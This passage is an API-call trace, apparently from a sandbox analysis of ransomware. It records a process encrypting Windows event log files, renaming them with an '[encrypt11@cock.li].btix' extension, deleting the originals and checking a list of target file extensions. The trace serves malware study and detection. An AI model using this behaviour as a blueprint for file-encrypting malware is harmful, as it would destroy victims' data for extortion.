(lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0051.596] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.596] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.596] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.596] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.596] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.610] GetLastError () returned 0x0 [0051.610] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.649] WriteFile (in: hFile=0x328, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.651] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.651] WriteFile (in: hFile=0x328, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x130, lpOverlapped=0x0) returned 1 [0051.651] SetEndOfFile (hFile=0x328) returned 1 [0051.651] CloseHandle (hObject=0x328) returned 1 [0051.652] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.652] SetEndOfFile (hFile=0x344) returned 1 [0051.653] CloseHandle (hObject=0x344) returned 1 [0051.654] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.654] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0051.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.654] lstrlenW (lpString=".doc") returned 4 [0051.654] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.654] lstrlenW (lpString=".docx") returned 5 [0051.654] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.654] lstrlenW (lpString=".pdf") returned 4 [0051.654] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.654] lstrlenW (lpString=".xls") returned 4 [0051.654] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.654] lstrlenW (lpString=".xlsx") returned 5 [0051.654] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.654] lstrlenW (lpString=".ppt") returned 4 [0051.654] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.654] lstrlenW (lpString=".zip") returned 4 [0051.654] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.654] lstrlenW (lpString=".rar") returned 4 [0051.655] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString=".bz2") returned 4 [0051.655] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString=".7z") returned 3 [0051.655] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.655] lstrlenW (lpString=".dbf") returned 4 [0051.655] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.655] lstrlenW (lpString=".1cd") returned 4 [0051.655] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.655] lstrlenW (lpString=".jpg") returned 4 [0051.655] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.655] lstrlenW (lpString=".doc") returned 4 [0051.655] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString=".docx") returned 5 [0051.655] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.655] lstrlenW (lpString=".pdf") returned 4 [0051.655] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString=".xls") returned 4 [0051.655] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.655] lstrlenW (lpString=".xlsx") returned 5 [0051.655] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.655] lstrlenW (lpString=".ppt") returned 4 [0051.656] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.656] lstrlenW (lpString=".zip") returned 4 [0051.656] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.656] lstrlenW (lpString=".rar") returned 4 [0051.656] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.656] lstrlenW (lpString=".bz2") returned 4 [0051.656] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.656] lstrlenW (lpString=".7z") returned 3 [0051.656] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.656] lstrlenW (lpString=".dbf") returned 4 [0051.656] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.656] lstrlenW (lpString=".1cd") returned 4 [0051.656] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0051.656] lstrlenW (lpString=".jpg") returned 4 [0051.656] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.656] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.656] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0051.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.694] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.694] CloseHandle (hObject=0x398) returned 1 [0051.694] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0051.694] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.694] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.695] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.695] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.695] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.702] GetLastError () returned 0x0 [0051.702] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.734] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.735] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.735] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x128, lpOverlapped=0x0) returned 1 [0051.736] SetEndOfFile (hFile=0x364) returned 1 [0051.736] CloseHandle (hObject=0x364) returned 1 [0051.738] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.738] SetEndOfFile (hFile=0x398) returned 1 [0051.739] CloseHandle (hObject=0x398) returned 1 [0051.739] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.739] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0051.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.739] lstrlenW (lpString=".doc") returned 4 [0051.740] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString=".docx") returned 5 [0051.740] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.740] lstrlenW (lpString=".pdf") returned 4 [0051.740] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString=".xls") returned 4 [0051.740] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString=".xlsx") returned 5 [0051.740] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.740] lstrlenW (lpString=".ppt") returned 4 [0051.740] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.740] lstrlenW (lpString=".zip") returned 4 [0051.740] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString=".rar") returned 4 [0051.740] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString=".bz2") returned 4 [0051.740] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString=".7z") returned 3 [0051.740] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.740] lstrlenW (lpString=".dbf") returned 4 [0051.740] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.740] lstrlenW (lpString=".1cd") returned 4 [0051.740] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.740] lstrlenW (lpString=".jpg") returned 4 [0051.740] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.741] lstrlenW (lpString=".doc") returned 4 [0051.741] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString=".docx") returned 5 [0051.741] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.741] lstrlenW (lpString=".pdf") returned 4 [0051.741] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString=".xls") returned 4 [0051.741] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString=".xlsx") returned 5 [0051.741] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.741] lstrlenW (lpString=".ppt") returned 4 [0051.741] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.741] lstrlenW (lpString=".zip") returned 4 [0051.741] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString=".rar") returned 4 [0051.741] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString=".bz2") returned 4 [0051.741] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString=".7z") returned 3 [0051.741] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.741] lstrlenW (lpString=".dbf") returned 4 [0051.741] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.741] lstrlenW (lpString=".1cd") returned 4 [0051.741] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0051.741] lstrlenW (lpString=".jpg") returned 4 [0051.741] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.742] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.742] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0051.742] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.742] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.742] CloseHandle (hObject=0x398) returned 1 [0051.742] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0051.742] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.742] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.742] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.742] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.742] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.743] GetLastError () returned 0x0 [0051.743] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.757] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.759] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.759] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x130, lpOverlapped=0x0) returned 1 [0051.759] SetEndOfFile (hFile=0x364) returned 1 [0051.767] CloseHandle (hObject=0x364) returned 1 [0051.769] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.769] SetEndOfFile (hFile=0x398) returned 1 [0051.770] CloseHandle (hObject=0x398) returned 1 [0051.770] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.770] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString=".doc") returned 4 [0051.771] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString=".docx") returned 5 [0051.771] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.771] lstrlenW (lpString=".pdf") returned 4 [0051.771] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString=".xls") returned 4 [0051.771] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString=".xlsx") returned 5 [0051.771] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.771] lstrlenW (lpString=".ppt") returned 4 [0051.771] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString=".zip") returned 4 [0051.771] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString=".rar") returned 4 [0051.771] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString=".bz2") returned 4 [0051.771] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString=".7z") returned 3 [0051.771] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString=".dbf") returned 4 [0051.771] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString=".1cd") returned 4 [0051.771] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString=".jpg") returned 4 [0051.771] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.771] lstrlenW (lpString=".doc") returned 4 [0051.772] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString=".docx") returned 5 [0051.772] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.772] lstrlenW (lpString=".pdf") returned 4 [0051.772] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString=".xls") returned 4 [0051.772] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString=".xlsx") returned 5 [0051.772] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.772] lstrlenW (lpString=".ppt") returned 4 [0051.772] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.772] lstrlenW (lpString=".zip") returned 4 [0051.772] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString=".rar") returned 4 [0051.772] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString=".bz2") returned 4 [0051.772] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString=".7z") returned 3 [0051.772] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.772] lstrlenW (lpString=".dbf") returned 4 [0051.772] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.772] lstrlenW (lpString=".1cd") returned 4 [0051.772] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0051.772] lstrlenW (lpString=".jpg") returned 4 [0051.772] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.772] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.772] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0051.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.773] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.773] CloseHandle (hObject=0x398) returned 1 [0051.773] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0051.773] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.773] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.773] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.773] GetLastError () returned 0x0 [0051.773] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.798] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.800] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, 